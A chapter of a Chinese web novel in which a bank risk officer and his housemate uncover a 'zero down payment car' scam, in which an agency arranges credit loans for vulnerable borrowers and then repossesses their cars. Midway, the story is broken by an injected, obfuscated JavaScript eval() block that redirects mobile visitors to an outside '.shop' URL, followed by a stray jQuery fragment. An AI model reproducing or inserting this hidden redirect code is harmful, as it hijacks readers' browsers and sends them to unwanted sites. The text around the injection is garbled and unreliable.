楼下的咖啡馆灯光昏黄,弥漫着咖啡豆的焦香。

    蒋永昼找了个最角落的位置,将那个庞然大物接上电源。

    刹那间,整个咖啡馆仿佛被拖入了一个异度空间。

    “哎哟我去,永昼,太炫了。”武柏安感慨。

    主机箱内,数条粗壮的透明亚克力管如同血管般纵横交错,管中流淌着荧光蓝的液体,在特制的LED灯带映照下,散发出冰冷而妖异的幽光。

    赤红、翠绿、明黄、亮紫……各种高饱和度的色彩毫无章法地泼洒在墙壁、桌面、甚至邻座客人惊愕的脸上。

    原本温馨的咖啡馆,瞬间变成了一个喧嚣的迷你迪厅。

    在这片令人心烦意乱的炫彩光污染中,蒋永昼面无表情地将插件传给武柏安。

    没一会儿,武柏安千恩万谢地离开。

    蒋永昼枯坐在咖啡馆,伴着凉透的咖啡,思考着哲学三问:

    我是谁?我在哪儿?我存在的意义是什么?

    一个多小时后,手机终于震动。

    王仰春的声音带着一丝惯常的松弛,“蒋主任,您回来吧。”

    蒋永昼抱着主机,步履沉重地往家走。

    一打开家门,王仰春就微红着脸,伸手想要从蒋永昼手里接过主机,“蒋主任,对不起对不起!我这就……”

    蒋永昼侧身避开,看都没看王仰春,径直上了楼。

    楼上,是蒋永昼的私人领域,王仰春很少上来。

    蒋永昼一言不发,直接钻到桌底,开始重新连接线缆。

    王仰春不知道怎么回事跟了上来,“蒋主任,您这……什么比赛的奖杯啊?”

    无人回应。

    线缆接驳完毕,蒋永昼刚钻出来,王仰春猛地一步上前,抓住了蒋永昼的胳膊,浓烈的酒气扑面而来,“蒋主任!对不起!今天这事儿是我不对,我认打认罚!但是!”他眼睛亮得惊人,“今天真有重大进展!您听我汇报一下?好不好?”

    蒋永昼猛地甩开王仰春的手,“有什么事,明天到我办公室汇报,你下去。”

    “不行!这事儿,就得在家里说!”

    评估了一下王仰春现在的状态,蒋永昼妥协了。

    不让王仰春说的话,这神经病不一定还能干出什么事。

    “下楼说。”

    蒋永昼在沙发坐了下来,王仰春挨着他坐下。

    蒋永昼带着明显的嫌恶,往沙发另一侧猛地挪开一大截,王仰春立刻又追了过去。

    “快说。”蒋永昼揉着太阳穴。

    王仰春脸上有点得意,“刚才那女的,叫徐瑛,现在是雀喜中介的经理!她就是前几天你查到,在大国中介社保断缴后,被雀喜续上的那个,记得吗?”

    蒋永昼满面寒霜地点了点头。

    “你猜她跟我说什么?”王仰春兴奋地盯着蒋永昼。

    “你讲我讲?”

    “我讲我讲!”王仰春收敛了一下过于外放的情绪,“徐瑛跟我说,大国中介主做的,根本就不是中介业务,他们做的是‘0首付买车’的骗局!”

    “那是什么?”

    王仰春身体前倾,“大国中介专门找你说的那种人——受教育程度低、没固定工作、收入低、认知有限,但征信良好的白户!跟他们说有‘0首付买车’的大好事!”

    “他们傻吗?信这种天上掉馅饼?”蒋永昼嗤之以鼻。

    “傻不傻我不知道,但贪是肯定的!”王仰春神秘兮兮地凑近蒋永昼,拍了拍他的大腿,“而且,这种买卖,不做陌生人的,专挑熟人下手!”

    “啪!”蒋永昼打掉了王仰春的手,“好好说!!!”

    王仰春愣了一下,“哎呀,你都给我打忘了!”

    “专挑熟人下手!”蒋永昼青筋直跳地提醒道。

    “对对对!熟人下手!”王仰春摩挲着下巴,“我给你举例子吧!ABC都是混得差不多的朋友或亲戚,有一天A忽然开上了车!B和C是不是眼红?眼红完是不是得打听?A说是大国中介的活动,0首付买车,根据额度还能享受前几个月免月供!假如你是BC,你心不心动?”

    “不心动。”蒋永昼一脸封心锁爱,“一听就是骗子。”

    “……”王仰春被噎得卡壳一秒,“那是你!蒋主任!这条件换一般人,早心动得不行了!”

    蒋永昼控制着没翻白眼。

    “退一步讲,B信了,也搞了辆车。C跟你似的,清高,不占便宜。一个月两个月,三个月四个月,看着平时一起吃饭喝酒的朋友,都开上了小汽车,你自己还吭哧吭哧蹬着自行车呢,你心里能没有一丝波澜?”

    蒋永昼眼神闪烁了一下。

    王仰春的话,精准地戳中了一种微妙的、属于普通人的攀比心理,即使是他,也无法完全否认其存在。

    王仰春捕捉到他细微的动摇,耸耸肩:“但话说回来,你要实在没波澜,那确实你不是人家的目标用户。不过我相信,大多数人还是眼红的!毕竟身边的朋友是真的开上了车,也真的没掏一分钱!”

    蒋永昼神色缓和了一些,“那大国中介怎么挣钱?银行的车贷风险呢?”

    “看!蒋主任还是很敏锐,这里有两个大误区!”王仰春竖起一根手指,眼睛发亮,“第一,大国中介跟银行做的,根本就不是车贷!是信用贷!他们包装这些白户,让他们能从银行贷出钱来!贷出来的钱干什么,是大国中介说了算!”

    王仰春竖起第二根手指,“第二,大国中介说白了,不是中介!它的本质是小贷公司!它掌握着白户的身份证,帮他们贷了款,买了车,再用车辆手续,在它自己或关联的小贷公司做二次抵押……”

    “等等!”蒋永昼打断王仰春,“你是说……大国中介挣得不是贷款的钱,其实是挣回收车的钱?”

    “没错!”王仰春还要拍蒋永昼的腿,但止住了,他激动地拍了拍沙发扶手,“小贷公司有权收车!白户这边呢,开始几个月开着车,不用还贷,美滋滋。等开始还贷了,没几个月,收车的就上门了,不还车?人家可有的是办法!最后,车没了……”

    “但银行的贷款还在,他们没车了,更不会还钱,最后成了老赖。”蒋永昼接话道。

    “是啊!”王仰春朝一点就透的蒋永昼靠过来。

    “够了!”蒋永昼忍无可忍,猛地站起身!

    可这让毫无防备的王仰春重心彻底失衡,“哎哟”一声,整个人脸朝下重重摔进沙发靠垫里。

    王仰春也不起来,就那样把脸埋在垫子里,瓮声瓮气地捶打着沙发,“蒋主任!我这可都是为了工作啊!我容易吗我!”

    “为了工作?”蒋永昼居高临下地看着他,“哪个工作让你又送花,又在别人家准备烛光晚餐了?还是在别人家!!”

    王仰春猛地抬起头,眼睛猩红,“蒋永昼!你有没有良心?!时间紧任务重!这不都是你天天念叨的吗?!我不出卖点色相,不搞点非常手段,怎么能这么快挖到这种核心情报?!啊?!”

    吼完,王仰春又重重趴回沙发里,一副受了天大委屈的模样。

    “……”

    蒋永昼看着沙发上那一团,胸口堵着的那股气,忽然就散了大半。

    愤怒被一种复杂的情绪取代,有一丝愧疚,一点无

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17625282|206245||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    奈,还有强烈的、对王仰春行事风格的难以认同。

    但他不得不承认,王仰春的方法虽然让他极度不适,但效率惊人。

    以他自己的调查方式,可能真的猴年马月也摸不到门道。

    他张了张嘴,想稍微说点什么,然而,话还没出口,一阵轻微的、低微而规律的呼噜声,从沙发深处传了出来。

    蒋永昼给王仰春盖了个薄毯,回到了楼上。

    本想打两局游戏放空大脑,但“车贷”、“信用贷”、“大国中介”、“小贷公司”、“白户”、“二次抵押”……这些词像失控的弹幕,在他脑海里疯狂蹦跳。

    他烦躁地抓了抓头发,最终认命地打开文档,将今晚获取的信息,结合自己的分析,整理成报告文本,准备明天向风险总监汇报。

    敲下最后一个句号,已是深夜。

    蒋永昼疲惫地躺在枕头上,却毫无睡意。

    爆炸的信息量并未让他失眠,真正折磨他的,是思考人生时灌下的咖啡。

    他睁着眼,在黑暗中看着天花板从浓稠的黑,一点点褪成压抑的灰白,窗外的天光,像窥探者,一点点渗透进来。

    直到晨曦微露,他才在极度的精神透支中,陷入浅薄的睡眠。

    第二天,蒋永昼怀揣着那份报告,敲开了风险总监的门。

    然而,总监的平淡反应泼了蒋永昼一盆冷水。

    蒋永昼正欲告退,总监却叫住了他,“小蒋,等等。那个……咱们同业女职员因不堪领导性骚扰跳楼自杀的新闻,你看了吧?”

    “看了。”蒋永昼心头掠过一丝不祥的预感。

    “唉,影响很坏啊。刚才我去银监开会,领导特别强调要重视员工心理健康和职场环境。我跟行长汇报了,行里决定组织一场全行范围的‘预防职场性骚扰’专题培训。”

    蒋永昼眨了眨眼,因为睡眠不足而混沌的大脑,此刻更加懵圈。

    他目光犹疑地在总监脸上扫过,试图理解这个转折,“然后呢,总监?”

    “行长指示,这个培训由风险部牵头。你回去准备一下PPT,内容丰富点,周四下午给全行员工做培训。”

    “……”

    蒋永昼神情涣散、脚步虚浮地飘回自己的办公室,瘫坐在电脑前,盯着空白屏幕上的PPT图标。

    “职场性骚扰……定义?类型?”蒋永昼大脑一片空白。

    摸屁股、摸大腿、摸胸属于性骚扰?

    可这写出来像话吗?

    对着屏幕发呆近一个小时,文档里依旧只有可怜的“预防职场性骚扰培训”几个字。

    一种深深的挫败感攫住了他。

    他猛地合上电脑,去他妈的,回家睡觉。

    拖着沉重的步伐和被咖啡因和茶多酚反复刺激的迷幻大脑,蒋永昼终于挪到家门口。

    钥匙插进锁孔,转动。

    门开的瞬间,蒋永昼再度石化!

    纱帘在微风中飘舞,餐桌上摇曳着抖动的烛火,两支晶莹剔透的高脚杯在烛光下折射出迷离的光晕。

    “回来了,弟弟!”王仰春头也没抬地说。

    熟悉的场景,熟悉的语言,蒋永昼恍惚觉得自己穿越回了二十四小时前。

    一股被戏弄、被无视、被反复在同一个坑里绊倒的怒火,混合着这一整天的憋屈,轰然冲上头顶!

    他第一次体会到了什么叫出离愤怒,他要把王仰春从阳台上推下去!

    “王仰春!”蒋永昼咆哮着,“我是不是……又得出去?!!”

    王仰春抬起头,一脸无辜,“不是啊,弟弟,这些都是专门为你准备的。”